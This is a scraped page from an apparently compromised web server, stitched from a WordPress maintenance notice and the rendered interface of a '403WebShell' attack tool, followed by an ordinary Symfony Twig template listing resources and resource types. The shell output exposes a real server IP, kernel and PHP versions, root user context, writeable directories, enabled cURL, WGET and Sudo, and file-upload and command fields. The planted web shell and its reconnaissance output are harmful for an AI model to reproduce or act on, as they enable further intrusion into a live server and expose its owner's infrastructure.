WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/resources/index.html.twig
{% extends 'contributor/layout.html.twig' %}

{% block title %}Stock{% endblock %}
     {% block contributor_body %}
         <div class="app_main_inner">
             <div class="page_excerpt">
                 <h2 class="sr_heading_title">Resources</h2>
                 <p class="sr_heading_intro">All Resources.</p>
             </div>
             <div class="row">
                 <div class="col-lg-12">
                     <div class="mb-3 card">
                         <div class="card-header">
                             <div class="card-header-title">Resources (<span class="count">{{ resources|length }}</span>)</div>
                             <a class="btn creat_new" href="{{ path('resources_new') }}">
                                 <svg class="tdm_svg_icon">
                                     <use xlink:href="#plus_icon"></use>
                                 </svg>
                                 <span class="button_primary_label">Create a Resource</span>
                             </a>
                         </div>
                         <div class="datagrid ">
                             <table class="table">
                                 <thead>
                                 <tr>
                                     <th>#</th>
                                     <th>Title</th>
                                     <th>Description</th>
                                     <th>Type</th>
                                     <th>File</th>
                                     <th>Date Created</th>
                                     <th>Edit</th>
                                     <th>Delete</th>
                                 </tr>
                                 </thead>
                                 <tbody>
                                 {% for resource in resources %}
                                     <tr>
                                         <td data-label="#">{{ loop.index }}</td>
                                         <td data-label="Title">{{ resource.title }}</td>
                                         <td data-label="Description">{{ resource.description | truncate(40,true) }}</td>
                                         <td data-label="Type">{{ resource.type }}</td>
                                         <td data-label="File">
                                             <a href="{{ asset('uploads/page_images/'~resource.file) }}" class="releasepreview">
                                                 {{ resource.file }}
                                             </a>
                                         </td>
                                         <td data-label="Date Created">{{ resource.createdAt ? resource.createdAt|date('Y-m-d H:i:s') : '' }}</td>
                                         <td data-label="Edit">
                                             <a href="{{ path('resources_edit', {id: resource.id}) }}">
                                                 <span class="creat_new btn">Edit</span>
                                             </a>
                                         </td>
                                         <td data-label="Delete">
                                             {{ include('resources/_delete_form.html.twig') }}
                                         </td>
                                     </tr>
                                 {% else %}
                                     <tr>
                                         <td colspan="7">no records found</td>
                                     </tr>
                                 {% endfor %}
                                 </tbody>
                             </table>
                         </div>
                     </div>
                 </div>

             </div>

             <div class="row">
                 <div class="col-lg-12">
                     <div class="mb-3 card">
                         <div class="card-header">
                             <div class="card-header-title">Resource Types (<span class="count">{{ types|length }}</span>)</div>
                             <a class="btn creat_new" href="{{ path('resources_type_new') }}">
                                 <svg class="tdm_svg_icon">
                                     <use xlink:href="#plus_icon"></use>
                                 </svg>
                                 <span class="button_primary_label">Create a Resource Type</span>
                             </a>
                         </div>
                         <div class="datagrid ">
                             <table class="table">
                                 <thead>
                                 <tr>
                                     <th>#</th>
                                     <th>Title</th>
                                     <th>Description</th>
                                     <th>Edit</th>
                                     <th>Delete</th>
                                 </tr>
                                 </thead>
                                 <tbody>
                                 {% for resources_type in types %}
                                     <tr>
                                         <td data-label="#">{{ loop.index }}</td>
                                         <td data-label="Title">{{ resources_type.title }}</td>
                                         <td data-label="Description">{{ resources_type.description | truncate(40,true) }}</td>
                                         <td data-label="Edit">
                                             <a href="{{ path('resources_type_edit', {id: resources_type.id}) }}">
                                                 <span class="creat_new btn">Edit</span>
                                             </a>
                                         </td>
                                         <td data-label="Delete">
                                             {{ include('resources_type/_delete_form.html.twig') }}
                                         </td>
                                     </tr>
                                 {% else %}
                                     <tr>
                                         <td colspan="5">no records found</td>
                                     </tr>
                                 {% endfor %}
                                 </tbody>
                             </table>
                         </div>
                     </div>
                 </div>

             </div>

         </div>
     {% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit